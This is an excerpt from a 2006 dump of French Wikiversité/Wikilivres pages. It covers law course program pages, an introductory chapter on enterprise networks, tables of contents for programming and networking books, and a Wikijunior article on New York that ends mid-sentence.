*[[Wikiversité:Faculté de droit canadien|Département de droit canadien]] *[[Wikiversité:Faculté de droit français|Département de droit français]] Faculté de droit/Programmes 7149 35414 2006-03-02T02:36:24Z Gregory.lussier 1165 {{Département de droit}} ==Programmes== *'''Bidisciplinaire politique et droit''' **Certificat bidisciplinaire en politique et en droit *Droit canadien **Droit administratif ***[[Faculté de droit/Certificat en droit administratif canadien|Certificat en droit administratif canadien]] **Droit civil (québécois) **Droit pénal ==Pré-requis== Il n'y a pas vraiment de prérequis à ces cours, si ce n'est que les principes de base de la rédaction. La compréhension et l'écriture de l'anglais seraient des atouts. ==Fonctionnement== Pour accéder à la liste de cours et des programmes auxquels ils se rapportent cliquez sur le lien suivant:<br> *'''[[Faculté de droit/Cours|La liste des cours de la faculté de droit]]''' ===Étudiant d'un programme=== L'étudiant peut s'inscrire à un programme en allant sur la page de celui-ci et en y '''apposant son nom d'utilisateur dans la section concernée'''. Il n'est pas nécessaire pour l'étudiant inscrit dans un programme de s'inscrire à chacun des cours de son programme. Son adhésion se fera automatiquement dans les cours requis de son programme. Un des professeurs responsables du programme le contactera par l'entremise de sa page de discussion personnelle et lui expliquera comment fonctionne le programme. Il pourra aussi lui indiquer comment le contacter en cas de questions. Chaque cours a un professeur et celui-ci assure le suivi de l'élève dans son cours. Il décide de la répartition des notes de son cours. Par exemple il pourrait choisir que les devoirs valent en tout 40% et que l'examen final vaut 60%.<br> Le professeur attitré au programme de l'étudiant assurera quant à lui le suivi général de l'étudiant dans tous ses cours. Il déterminera quand l'étudiant aura fini son programme et lui fera part de ses résultats. ===Étudiant d'un cours=== L'étudiant de cours s'inscrit à un (ou des) cours mais pas à un programme. Il appose son nom d'utilisateur dans la section concernée des pages d'informations sur les [[Faculté de droit/Cours|cours]]. Le professeur sera présent comme si l'étudiant était dans le programme sauf que l'étudiant ne sera pas obligé à faire un cours en particulier. Il sera laissé à lui-même dans son cheminement. ===Étudiant qui assiste au cours=== L'étudiant qui veut assister au cours doit s'inscrire nulle part. Il doit seulement aller sur le site du cours et prendre les informations et/ou devoirs que l'enseignant donne aux élèves. Il n'aura ni note ni examen. Le professeur du cours peut accepter ou refuser de répondre à ses questions. ==Objectifs== Ces cours visent à informer les gens qui le souhaitent bien. Ils ne mènent pas à un diplôme ou à une reconnaissance quelconque. Ils sont ici à titre informatifs et pour vous aider dans votre cheminement dans l'apprentissage du droit. Faculté de droit/Cours 7150 33955 2006-02-22T04:44:47Z Gregory.lussier 1165 /* BLOC C */ {{Département de droit}} =Cours de la faculté de droit= Tous les cours de la Wikiversité se rapportant au droit sont classés ci-dessous. On leur attribu un code permanent dépendament de quel programme s'y rapporte. On les classe selon le programme (même s'il n'est pas rare de voir un cours dans plusieurs programmes). À la toute fin de cette page, on retrouve l'index de tous les cours en ordre de code permanent. ==Programmes== Voici la liste des programmes avec les cours qui s'y rapportent. *'''Droit, option Canada (''Ces cours se rapportent au droit en vigueur au Canada'')''' **Bidisciplinaire en politique et en droit (BLOC A: 7 cours, BLOC F: 2 cours) ==Cours== ===BLOC A=== <small>Ces cours sont obligatoires pour tous les programmes se rapportant au droit canadien.</small><br> *[[Faculté de droit/DRG-001|'''DRG-001''' / Introduction au droit]] *'''DRG-002''' / Fondements du droit *'''DRG-003''' / Obligations *'''DRG-004''' / Personnes physiques et famille *'''DRG-005''' / Biens *'''DRG-006''' / Droit pénal général *'''DRG-007''' / Droit constitutionnel ===BLOC C=== <small>Ces cours se rapportent à des parties plus précises du droit.</small><br> *[[Faculté de droit/DAD-001|'''DAD-001''' / Droit administratif 1]] *'''DAD-002''' / Droit administratif 2 *'''DAD-003''' / Droit administratif 3 ===BLOC F=== *[http://en.wikibooks.org/wiki/Pos_1000 '''POL-001''' / Introduction to Political Science (POS-1000)] <small>(En anglais seulement pour le moment)</small> *[http://en.wikibooks.org/wiki/Political_Theory '''POL-002''' / Political Theory] <small>(En anglais seulement pour le moment)</small> Faculté de droit/Professeurs 7151 35794 2006-03-04T11:31:54Z Moundji 1190 /* Droit constitutionel */ {{Département de droit}} ==Professeurs== Ajoutez votre nom dans la liste ci-dessous ainsi que les domaines dont vous voulez être responsable si vous voulez participer. ===Index des professeurs=== *Grégory A. Lussier, --[[Utilisateur:Gregory.lussier|Gregory.lussier]] 21 février 2006 à 03:09 (UTC) ==Par domaine== ===Droit constitutionel=== ===Droit administratif=== *Grégory A. Lussier, --[[Utilisateur:Gregory.lussier|Gregory.lussier]] 21 février 2006 à 03:09 (UTC) ===Droit pénal=== ===Droit civil=== Faculté de droit/Étudiants 7152 33696 2006-02-21T03:33:21Z Gregory.lussier 1165 {{Département de droit}} ==Par programme== Inscrivez votre nom d'utilisateur si vous êtes inscrit dans un des programmes de la faculté de droit. ===Bidisciplinaire en droit et politique du Canada=== Votre Nom ==Étudiants libres== Votre Nom Introduction aux réseaux 7156 35424 2006-03-02T07:40:17Z Merrheim 1032 {{Introduction aux réseaux}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Introduction au réseaux</font> ''Un livre appartenant à la série Architecture, Système et Réseaux du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Introduction aux réseaux/Sommaire|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} Modèle:Introduction aux réseaux 7157 42294 2006-05-14T17:09:40Z Overmac 1120 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[MANs sous Linux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small> [[MANs sous Linux|Accueil]]</small> *<small>Chap. 1 - [[MANs_sous_Linux_:_Les_commandes_utilisateur|Les commandes utilisateur]]</small> *<small>Chap. 2 - [[MANs_sous_Linux_:_Les_appels-syst%C3%A8me|Les appels-système]]</small> *<small>Chap. 3 - [[MANs_sous_Linux_:_Les_fonctions_de_biblioth%C3%A8que|Les fonctions de bibliothèque]]</small> *<small>Chap. 4 - [[MANs_sous_Linux_:_Les_fichiers_sp%C3%A9ciaux|Les fichiers spéciaux]]</small> *<small>Chap. 5 - [[MANs_sous_Linux_:_Les_%22formats_de_fichiers%22|Les "formats de fichiers"]]</small> *<small>Chap. 6 - [[MANs_sous_Linux_:_Les_jeux|Les jeux]]</small> *<small>Chap. 7 - [[MANs_sous_Linux_:_Divers|Divers]]</small> *<small>Chap. 8 - [[MANs_sous_Linux_:_Les_commandes_d%27administration_syst%C3%A8me|Les commandes d'administration système]]</small> *<small>Chap. 9 - [[MANs_sous_Linux_:_Les_fonctions_du_noyau_Linux|Les fonctions du noyau Linux]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[MANs sous Linux]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Introduction_aux_réseaux&action=edit Modifier ce modèle]</small> |} Introduction aux réseaux/entreprise 7158 45713 2006-06-25T14:27:44Z 212.94.203.16 /* Perte des fichiers d'un utilisateur */ {{Introduction aux réseaux}} ==Les réseaux en entreprise== Dans la plupart des entreprises, les ordinateurs sont tous connectées entre eux par des réseaux, par exemple par des réseaux de type éthernet. Ces réseaux coûtent très cher à administrer. Mais à quoi servent-ils donc ? Nous allons tenter ici de faire un petit tour d'horizon des différentes utilisations des réseaux. ==Centralisation des fichiers des utilisateurs== === Perte des fichiers d'un utilisateur=== Une des fonctions principales des réseaux est la centralisation des fichiers des utilisateurs. Imaginons une entreprise sans réseau : chaque utilisateur possède ses propres fichiers de travail sur sa machine. Au fil du temps, le nombre de fichiers augmente et il devient impensable qu'un utilisateur perde la totalité de ses fichiers. Si un utilisateur venait à perdre ses fichiers, le temps nécessaire pour refaire ce travail serait gigantesque : du temps perdu, c'est de l'argent perdu ! De plus, les informations contenues dans ses fichiers sont peut-être importantes : si on a stocké la liste de ses clients et qu'on perd le fichier, les conséquences peuvent être dramatiques. On se persuade assez facilement qu'il est vital pour une entreprise d'avoir une vraie politique de sauvegarde centralisée des fichiers des utilisateurs. ===Responsabiliser les utilisateurs=== Il est tres difficile pour l'administrateur du parc de machines de gérer efficacement une bonne politique de sauvegarde si les fichiers des utilisateurs sont disséminés sur chaque poste de l'entreprise. On peut avoir comme idée de dire : "chacun est responsable des ses fichiers" et d'installer par exemple un graveur de DVD. La responsabilisation des utilisateurs est rarement une bonne solution : au début tout se passe bien et les utilisateurs sont sérieux mais rapidement, leur sérieux diminue et les sauvegardes s'espacent de plus en plus. Prétextant (à tort ou à raison) n'avoir pas le temps, les utilisateurs sont de moins en moins attentifs à ces sauvegardes et la catastrophe finit toujours par arriver. ===La notion de serveur de fichiers=== Notre administrateur est donc contraint d'installer un réseau qui permet aux différentes machines de communiquer. Il va également installer '''un serveur de fichiers''' sur lequel les utilisateurs seront obligés de mettre leur données. Le contenu du serveur sera sauvegardé très régulièrement (toutes les nuits par exemple). Les données importantes seront situées à un seul endroit et leur sauvegarde reposera donc entièrement sur une procédure automatisée mise en place par l'administrateur. ===Authentification des utilisateurs=== L'administrateur devra donc mettre en œuvre un mécanisme d'identification des utilisateurs : en général cela se fait par un nom de connexion et par un mot de passe. On peut aussi imaginer des mécanismes de cartes magnétiques ou encore la biométrie. Chaque utilisateur ainsi authentifié ne pourra accéder qu'à ses propres fichiers. On peut même mettre en œuvre un mécanisme plus complexe de droits : certains utilisateurs auront le droit de lire certains fichiers mais pas de les modifier. D'autres auront tous les droits sur ces fichiers. ===Qualité et serveurs de fichiers=== Il convient toutefois de faire très attention : comme nous l'avons vu, ces données ont une valeur financière considérable et il est hors de question de faire ici des économies de bout de chandelles : si le serveur de fichiers n'est pas assez puissant, il sera lent et la totalité des utilisateurs travailleront plus lentement. Les coûts indirects seront égaux au manque de productivité multiplié par le nombre d'utilisateurs ! Il convient donc d'acheter du matériel performant et fiable. En effet, il devient alors impensable que le serveur tombe en panne. La moindre demi-journée de panne a alors des conséquences catastrophiques pour toute l'entreprise. Notre serveur aura donc besoin d'une fiablité proche de 100 %. Cette fiabilité a un coût et se paye cher. Si on achète du matériel bas de gamme, cela marchera très bien au début et on peut penser avoit fait des économies : mais un jour la panne surviendra inévitablement et l'avenir de l'entreprise peut alors être compromis. ==Gestion des applications== ===Un petit calcul=== Imaginons une entreprise contenant 200 postes de travail. Vous êtes administrateur et vous souhaitez installer 5 logiciels différents sur chacun des 200 postes de travail. Chaque installation nécessite un quart d'heure (tests compris). Vous enchaînez les installations 8 heures par jour. Il vous faudra donc 5*200*0,25=250 heures=32 jours de travail ! Un mois n'y suffira pas. En plus, en tant qu'administrateur vous avez bien d'autres tâches à accomplir. Voilà toute la problématique du déploiement de logiciels. ===La notion de serveur d'applications=== Pour résoudre ce problème majeur, il faut installer un serveurs d'applications qui va permettre aux différents postes de travail d'accéder à un ensemble cohérent d'applications. Il existe de nombreuses architectures possibles pour ces serveurs et nous ne distinguerons que deux catégories : * l'application peut être exécutée sur le serveur : ainsi le poste de travail se contente de gérer l'affichage. Ce type de solution demande une très grande puissance de calcul sur le serveur. * l'application est exécutée sur le poste client : le serveur se contente de diffuser l'application. Bien évidemment, on peut imaginer un mécanisme de droits complexes qui autorise ou interdit à un utilisateur donné l'accès à une application. '''Remarque : ''' assez souvent certaines personnes pensent que l'installation d'un seveur d'applications permet de n'avoir qu'une seule licence pour tout un parc de machines. La plupart des contrats de licence oblige à acheter une licence par poste de travail suceptible d'accéder à l'application. L'objectif d'un serveur d'applications n'est pas de diminuer le coût des licences. == Accès à une base de données== *Beaucoup d'entreprises utilisent des applications spécifiques permettant de gérer leurs commandes, leurs clients, leur stocks, la paye des employés, la comptabilité, etc. Les données manipulées par ces applications ne sont plus stockées sous forme de fichiers mais sont gérées par des logiciels particuliers : les '''systèmes de gestion de bases de données (SGBD)'''. Ces logiciels permettent de centraliser, sur un serveur, des données de manière fiable, performante et sécurisée. On parle généralement de système d'informations pour regrouper tous les SGBD de l'entreprise. Dès qu'il s'agit d'accéder à un SGBD, on aura besoin d'installer un réseau dans l'entreprise. * les applications qui accèdent au SGBD sont appelées ''applications clientes'' : elles envoient des requêtes vers le SGBD, gèrent l'affichage des réponse aux requêtes et l'interaction avec l'utilisateur. Ces applications peuvent être gérées de manière simple selon le modèle client-serveur. Parfois, l'architecture logicielle peut être beaucoup plus complexe et reposer sur des modèles 3-tiers voire n-tiers. Programmation Java Conclusion 7159 33833 2006-02-21T15:49:19Z Merrheim 1032 {{Programmation Java}} ==Conclusion== Programmation Java/Sommaire 7160 37267 2006-03-12T16:56:08Z Merrheim 1032 /* Sommaire */ ==Sommaire== *[[Programmation Java Introduction|Introduction]] *[[Programmation Java Machine virtuelle|La notion de machine virtuelle]] *[[Programmation Java Bases du langage|Bases du langage]] **[[Programmation Java Premier programme|Premier programme]] **[[Programmation Java Types de base|Types de base]] **[[Programmation Java Opérateurs|Opérateurs]] **[[Programmation Java Conditions|Conditions]] **[[Programmation Java Itérations|Itérations]] **[[Programmation Java Tableaux|Tableaux]] *[[Programmation Java Les classes en Java|Les classes en Java]] **[[Programmation Java Membres|Membres]] **[[Programmation Java Instanciation et cycle de vie|Instanciation et cycle de vie]] **[[Programmation Java this|"this"]] **[[Programmation Java Encapsulation|Encapsulation]] **[[Programmation Java Agrégation|Agrégation]] **[[Programmation Java Héritage|Héritage]] **[[Programmation Java Polymorphisme|Polymorphisme]] **[[Programmation Java Classes abstraites|Classes abstraites]] **[[Programmation Java Interfaces|Interfaces]] **[[Programmation Java Classes internes|Classes internes]] **[[Programmation Java Transtypage|Transtypage]] **[[Programmation Java Packages|Packages]] *[[Programmation Java Exceptions|Exceptions]] *[[Programmation Java Classes de base|Classes de base]] *[[Programmation Java Conclusion|Conclusion]] *[[Programmation Java Sujets connexes|Sujets connexes]] *'''Interfaces graphiques avec SWING''' **[[Programmation Java/swing/Hello|Un premier exemple]] **[[Programmation Java/swing/Somme|Calculer la somme de 2 entiers]] **[[Programmation Java/swing/Distance|Calculer la distance entre 2 points]] Annexes : *[[Programmation Java Liste des mots réservés|Liste des mots réservés]] Programmation C++ (débutant)/Sommaire 7161 33885 2006-02-21T16:46:22Z Merrheim 1032 /* Sommaire */ == Sommaire== *[[Programmation C++ (débutant)/Notions de base|Chapitre 1 : notions de base]] *[[Programmation C++ (débutant)/Notion de variable|Chapitre 2 : notion de variable]] *[[Programmation C++ (débutant)/Instructions if, if...else et switch|Chapitre 3 : le if, le if...else et le switch]] *[[Programmation C++ (débutant)/Instructions for, while et do...while|Chapitre 4 : le for, le while et le do...while]] *[[Programmation C++ (débutant)/Les_types_de_base|Chapitre 5 : les types de base]] *[[Programmation C++ (débutant)/Les tableaux statiques|Chapitre 6 : les tableaux statiques]] *[[Programmation C++ (débutant)/Les fonctions|Chapitre 7 : les fonctions]] *[[Programmation C++ (débutant)/Les tableaux de char|Chapitre 8 : les tableaux de char]] *[[Programmation C++ (débutant)/Les structures|Chapitre 9 : les structures]] *[[Programmation C++ (débutant)/Les pointeurs|Chapitre 10 : les pointeurs]] *[[Programmation C++ (débutant)/Les classes|Chapitres 11 : les classes]]</small> *[[Programmation C++ (débutant)/La classe string|Chapitres 12 : la classe string]]</small> *[[Programmation C++ (débutant)/La fichiers|Chapitres 13 : les fichiers]]</small> *[[Programmation C++ (débutant)/Listes usuelles|Chapitres 14 : quelques listes usuelles]]</small> *[[Programmation C++ (débutant)/Les templates|Chapitres 15 : les templates]]</small> *[[Programmation C++ (débutant)/La STL|Chapitres 16 : la STL]]</small> *[[Programmation C++ (débutant)/L'héritage|Chapitres 17 : l'héritage]]</small> *[[Programmation C++ (débutant)/La virtualité|Chapitres 18 : la virtualité]]</small> ==Wikimodule== Cette ressource est utilisée par le [[Wikimodule:langage C++ niveau 1]]. Ce premier module est presque terminé. A terme cette ressource constituera également la base du Wikimodule:langage C++ niveau 2. Interfaces graphiques en C++ avec wxWidget/Sommaire 7162 33897 2006-02-21T16:56:09Z Merrheim 1032 ==Plan du cours== *[[Interfaces graphiques en C++ avec wxWidget/Introduction|Introduction]] *[[Interfaces graphiques en C++ avec wxWidget/Premier exemple|Un premier exemple]] *[[Interfaces graphiques en C++ avec wxWidget/Evenements|Intercepter des événements]] *[[Interfaces graphiques en C++ avec wxWidget/Dialogues|Les boîtes de dialogue]] Introduction aux réseaux/Sommaire 7163 33902 2006-02-21T17:03:15Z Merrheim 1032 /* Sommaire */ ==Sommaire== *[[Introduction aux réseaux/entreprise|Les réseaux en entreprise]] Réseaux TCP/IP/Sommaire 7164 34896 2006-02-26T21:10:43Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP/Sommaire]] déplacé vers [[Réseaux TCP/IP/Sommaire]]: ortho ==Sommaire== *Chapitre 1 : [[ Reseaux TCP/IP : adressage IP v4| Adressage IP version 4]]<br/> *Chapitre 2 : [[ Reseaux TCP/IP : les serveurs DNS| Les serveurs DNS]] <br/> *Chapitre 3 : [[ Reseaux TCP/IP : le routage IP statique| le routage IP statique]] <br/> *Chapitre 4 : [[Reseaux_TCP/IP_:_NAT|Translation d'adresses NAT/PAT]]</small> *Chapitre 5 : [[Reseaux_TCP/IP_:_VPN|Les VPN]]</small> *Chapitre 6 : [[Reseaux_TCP/IP_:_la pile TCP/IP|La pile TCP/IP]] *Chapitre 7 : [[Reseaux_TCP/IP_:_DHCP|DHCP]] *Chapitre 8 : [[Reseaux_TCP/IP_:_Routage_dynamique|Le routage dynamique]] *Chapitre 10 : [[Reseaux_TCP/IP_:_Les routeurs_CISCO|Les routeurs CISCO]] *Chapitre 11 : [[Reseaux_TCP/IP_:_Administration sous Windows|Administration sous Windows]] *Chapitre 12 : [[Reseaux_TCP/IP_:_Administration sous Linux|Administration sous Linux]] ==Liens internes== *[[w:Adresse_IP| Adresse IP]] : la notion d'adresse IP et de masque. *[[w:DNS| DNS]] : Quelques notions sur les DNS. *[[w:Serveurs_DNS_Racine|Serveurs DNS racine]] : présentation des serveurs DNS racines. *[[w:Ethernet|Ethernet]] : présentation de la trame éthernet. *[[w:IPv4| IP version 4]] : présentation du datagramme IP. *[[w:Address_Resolution_Protocol|ARP]] : présentation de ARP. *[[w:TCP/IP|La pile TCP/IP]] : présentation de la pile de protocoles TCP/IP. Faculté de droit/Certificat en droit administratif canadien 7165 33920 2006-02-21T19:08:02Z Gregory.lussier 1165 {{Département de droit}} Le certificat en droit administratif canadien est un micro-programme qui mène l'étudiant à des connaissances de base de l'administration canadienne. =Cours requis= ==BLOC A== [[Faculté de droit/DRG-001|'''DRG-001''' / Introduction au droit]]<br> ==BLOC F== [[Faculté de droit/DAD-001|'''DAD-001''' / Droit administratif 1]]<br> '''DAD-002''' / Droit administratif 2<br> '''DAD-003''' / Droit administratif 3<br> Faculté de droit/DAD-001 7166 33952 2006-02-22T04:42:23Z Gregory.lussier 1165 {| style="border:1px black solid;" cellspacing="0" cellpadding="2px" align="right" width="500px" | style="text-align:center;background:#0093B7;" | |- | style="text-align:center;background:#ECFBFF;" | [[Image:facultededroit003.png]] |- | bgcolor="white" | *'''NOM DU COURS''': Droit administratif 1 *'''CODE PERMANENT''': DAD-001 *'''PROGRAMMES RELIÉS''': [[Facult%C3%A9_de_droit/Certificat_en_droit_administratif_canadien|Certificat en droit administratif canadien]] |} =Introduction= L'élève apprendra les fondements =Pré-requis= =Fonctionnement= ==1er cours== ==2e cours== Faculté de droit/DRG-001 7168 33951 2006-02-22T04:41:41Z Gregory.lussier 1165 {| style="border:1px black solid;" cellspacing="0" cellpadding="2px" align="right" width="500px" | style="text-align:center;background:#0093B7;" | |- | style="text-align:center;background:#ECFBFF;" | [[Image:facultededroit003.png]] |- | bgcolor="white" | *'''NOM DU COURS''': Introduction au droit *'''CODE PERMANENT''': DRG-001 *'''PROGRAMMES RELIÉS''': [[Facult%C3%A9_de_droit/Certificat_en_droit_administratif_canadien|Certificat en droit administratif canadien]] |} =Introduction= L'élève apprendra les fondements du droit par quelques lectures. Ce cours a une durée d'environ 2 heures (ou plus). =Pré-requis= L'élève doit être capable de lire l'anglais et de bien le comprendre. =Fonctionnement= L'étudiant intéressé doit ajouter son nom à la liste suivant: *Exemple: --[[Utilisateur:Gregory.lussier|Gregory.lussier]] 22 février 2006 à 04:11 (UTC) <br> Il doit aussi créer une page de type [[Faculté de droit/DRG-001/Nom d'utilisateur|Faculté de droit/DRG-001/Nom d'utilisateur]] (voyez l'exemple en cliquant sur le lien). ==1er cours== *Lecture de l'introduction au droit canadien (Wikiversity anglais) > [http://en.wikibooks.org/wiki/Introduction_to_Canadian_Law Introduction to Canadian Law] **Être en mesure de répondre au questionnaire suivant > [[Faculté de droit/DAD-001/Travail 01|Travail 01 du cours DAD-001]] ==2e cours== *Lecture de l'introduction au droit constitutionnel (Wikiversity anglais, traduction en cours) > [http://en.wikibooks.org/wiki/Canadian_Constitutional_Law Canadian Constitutional Law] **Être en mesure de répondre au questionnaire suivant > [[Faculté de droit/DAD-001/Travail 02|Travail 02 du cours DAD-001]] Faculté de droit/DRG-001/Nom d'utilisateur 7169 33946 2006-02-22T04:09:12Z Gregory.lussier 1165 =Identification= ==Nom d'utilisateur== Ex.: [[Utilisateur:Gregory.lussier|Gregory.lussier]] ==Contact== Ex.: gregory.lussier@gmail.com (facultatif) ==Cheminement== Ex.: Programme de certificat de droit administratif canadien ==Examens/suivi== Je souhaite ou ne souhaite pas avoir un suivi, des travaux et si possible des examens sur la matière de ce cours. Architecture des ordinateurs/Sommaire 7171 33965 2006-02-22T10:28:24Z 134.214.115.164 == Sommaire== *[[Architecture des ordinateurs/Introduction|Introduction]] *[[Architecture des ordinateurs/Représentation des données|Représentation des données]] *[[Architecture des ordinateurs/Codes détecteurs et correcteurs d'erreurs|Codes détecteurs et correcteurs d'erreurs]] *[[Architecture des ordinateurs/Circuits|Circuits asynchones usuels]] ==Wikimodule== Cette ressource est actuellement utilisée par le wikimodule [[Wikimodule:architecture des ordinateurs niveau 1]].<br/> Wikilivres:Conseils 7172 33975 2006-02-22T14:33:33Z Boly38 136 blanchie pour suppression (hors sujet désolé ;) PhpMyVisites 7173 33973 2006-02-22T14:29:40Z Boly38 136 +redirect #redirect [[Documentation phpMyVisites]] Wikijunior:Les grandes villes du monde 7175 42270 2006-05-14T10:08:07Z Urban 886 '''Sommaire :''' * [[Wikijunior:Les grandes villes du monde/Tokyo|Tokyo]] (Japon) * [[Wikijunior:Les grandes villes du monde/New York|New York]] (États-Unis) * [[Wikijunior:Les grandes villes du monde/Mexico|Mexico]] (Mexique) * [[Wikijunior:Les grandes villes du monde/Le Caire|Le Caire]] (Égypte) * [[Wikijunior:Les grandes villes du monde/Paris|Paris]] (France) * [[Wikijunior:Les grandes villes du monde/Moscou|Moscou]] (Russie) * [[Wikijunior:Les grandes villes du monde/Londres|Londres]] (Royaume-Uni) * [[Wikijunior:Les grandes villes du monde/Istanbul|Istanbul]] (Turquie) * [[Wikijunior:Les grandes villes du monde/Calcutta|Calcutta]] (Inde) * [[Wikijunior:Les grandes villes du monde/Shanghaï|Shanghaï]] (Chine) * [[Wikijunior:Les grandes villes du monde/Lagos|Lagos]] (Nigéria) * [[Wikijunior:Les grandes villes du monde/Los Angeles|Los Angeles]] (États-Unis) * [[Wikijunior:Les grandes villes du monde/Sao Paulo|Sao Paulo]] (Brésil) * [[Wikijunior:Les grandes villes du monde/San Francisco|San Francisco]] (États-Unis) [[Catégorie:Wikijunior]] Wikijunior:Les grandes villes du monde/New York 7176 34649 2006-02-25T09:18:23Z Urban 886 /* Pour aller plus loin ... */ [[Image:NYC_Top_of_the_Rock_Pano.jpg|center|800px]] </div> New York est la ville la plus peuplée des États-Unis. Elle se trouve au nord-est du pays, à l'embouchure du fleuve Hudson. La ''Big Apple'' (la "grosse pomme") comme on l'appelle, a longtemps été la porte d'entrée du pays pour les millions de migrants venus d'Europe. =Une situation favorable ?= [[image:5 Boroughs Labels New York City Map Julius Schorzman.png|left|thumb|250px|Les 5 districts de New York: <font color="blue">●</font> (1) [[Manhattan]], <font color="yellow">●</font> (2) [[Brooklyn]], <font color="orange">●</font> (3) [[Queens]], <font color="red">●</font> (4) [[Bronx]], <font color="purple">●</font> (5) [[Staten Island]]]] New York se trouve à la même latitude que Madrid ou la Sardaigne. Pourtant le climat est loin d'y être méditerranéen ... En effet, les hivers sont froids et neigeux. Pendant l'hiver 2006, il est tombé 68 centimètres de neige en une seule journée sur la ville. Le vent glacial peut souffler en tempête et bloquer les aéroports : c'est le blizzard. Les étés sont chauds et les canicules ne sont pas rares. Les meilleures saisons pour visiter la ville sont donc le printemps et l'automne. New York se situe sur l'estuaire de l'Hudson. Grâce à ce fleuve et à un canal, la ville est en relation avec les Grands Lacs nord-américains et le Canada. L'agglomération de New York s'étale sur plusieurs dizaines de kilomètres autour de Manhattan. Elle fait partir de la mégalopole nord-américaine qui court de Boston à Washington. Elle couvre une partie de ''Long Island'' à l'est. Des milliers de New-Yorkais viennent donc travailler dans le centre en ferry. Ils utilisent aussi le métro et les ponts suspendus. Mais aux heures de pointes, les embouteillages sont nombreux ! Des liaisons ferroviaires existent également, seulement les Américains empruntent moins le train que les Européens. La gare de ''Grand Central'' est le terminus de 67 voies ferrées qui viennent des banlieues. En revanche, le train sert beaucoup au transport des marchandises depuis le XIX{{e}} siècle. =Histoire= <div style="float:right; border:2px solid #800080; width:250px; background-color:#ffaaff; margin-left:0.6em; padding:0.6em"> [[Image:Crystal Clear app xmag.png|50px]] '''New York c'est ...''': * 19 millions d'habitants * 370 Km de lignes de métro * 12 000 taxis * 3 aéroports * 10 298 Km de rues * 150 musées * 38 théâtres </div> En 1524, l'Italien Giovanni da Verrazano découvre le site de New York. Il était envoyé par le roi de France en personne qui à l'époque s'appelait François I{{er}}. Un peu moins d'un siècle plus tard, le marin anglais Henry Hudson navigue dans la baie qui portera son nom. Mais les premiers Européens qui habitent à New York sont des Hollandais qui s'installent en mai 1624. Ils construisent un fort et baptise l'endroit "Nouvelle-Amsterdam". L’île de Manhattan est achetée aux Indiens pour l’équivalent de quelques euros. En 1664, les Anglais chassent les Hollandais et s'approprient New York. La ville se développe à partir du XVIII{{e}} siècle, grâce au commerce maritime avec l'Europe de l'Ouest, à travers l'Océan Atlantique. En 1789 et 1790, New York est brièvement la capitale des États-Unis qui viennent d'obtenir leur indépendance après une longue guerre contre l'Angleterre. La population de New York grossit rapidement au XIX{{e}} siècle grâce ç l'immigration. Au début du XX{{e}} siècle, la ville se couvre de gratte-ciel et devient une métropole mondiale dans les domaines de la fincance, du commerce et des arts. Son expansion est interrompue par la crise des années 1930. Après la Seconde Guerre mondiale, elle accueille les institutions centrales de l'ONU et retrouve son dynamisme. Dans les années 1990, l'action énergique du maire Rudolph Giuliani fait baisser la violence et la criminalité. L'essor des hautes technologies provoque une renaissance de la métropole. Ce dynamisme ne faiblit pas aujourd'hui, malgré les attentats terroristes du 11 septembre 2001. =Une métropole américaine= New York reflète la puissance des États-Unis. On y trouve : *La bourse la plus importante du monde dans le quartier de Wall Street *Le quartier général des Nations-Unies *Les sièges sociaux des grandes entreprises américaines *Une forte concentration de banques *Les meilleures universités du pays, comme celle de Columbia, au nord de Manhattan Pourtant, New York n'est pas la capitale des États-Unis ! New York est une ville cosmopolite, c'est-à-dire que des gens du monde entier viennent y habiter. Cela montre bien le rayonnement planétaire de cette métropole. =Visite les quartiers de Manhattan != <div style="float:right; border:3px solid #0000A0; width:350px; background-color:#80FFFF; margin-left:0.6em; padding:0.6em"> [[Image:Nuvola 64 apps ktip.png|50px]] '''Les gratte-ciel : pourquoi et comment ? ...''' <small>Les premiers gratte-ciel datent de la fin du XIX{{e}} siècle. En 1913, il existe déjà un building de 60 étages à New York ! Leur construction fut rendue possible grâce à l'invention de l'ascenseur et au progrès de la sidérurgie (fabrication de l'acier). Le plan en damier et la chereté du terrain dans les centre-ville expliquent aussi cette volonté de construire des immeubles de bureaux de plus en plus hauts. Enfin, les entreprises se livrent à une compétition pour avoir le building le plus haut de la ville. </small> </div> L'agglomération de New York se compose de cinq districts (''boroughs'' en anglais) : celui de Manhattan est le plus connu. C'est une île allongée du nord au sud sur une vingtaine de kilomètres, peuplée de 1,6 million d'habitants et reliée au continent par plusieurs ponts. Elle est littéralement quadrillée par un réseau de rues et d'avenues qui dessinent un gigantesque damier. Il est très facile de se repérer dans Manhattan : les avenues vont du nord au sud et les rues les croisent à angle droit. Chaque avenue porte un nom et un numéro attribué d'est en ouest. Chaque rue porte aussi un numéro du sud vers le nord. Elles délimitent un bloc, composé d'un ou plusieurs immeubles. Par exemple, Central Park se trouve entre la 5{{e}} et la 8{{e}} avenue et entre la 59{{e}} et la 110{{e}} rue. L'université de Columbia est à l'angle de la 116{{e}} rue et de la 10{{e}} avenue. Il y a environ 200 rues de la pointe sud à la pointe nord de Manhattan. C'est aussi simple qu'une bataille navale ! Enfin, l'île de Manhattan est ceinturée par des autoroutes (''highways'' ou ''drive'' en anglais). Manhattan est aussi une mosaïque de quartiers, d'activités et de populations. *'''Les quartiers d'affaires''' Il existe deux grands quartiers des affaires (''Central Business District'' ou CBD) à New York : Lower Manhattan et Midtown, qui sont à plusieurs kilomètres de distance l'un de l'autre. Leur point 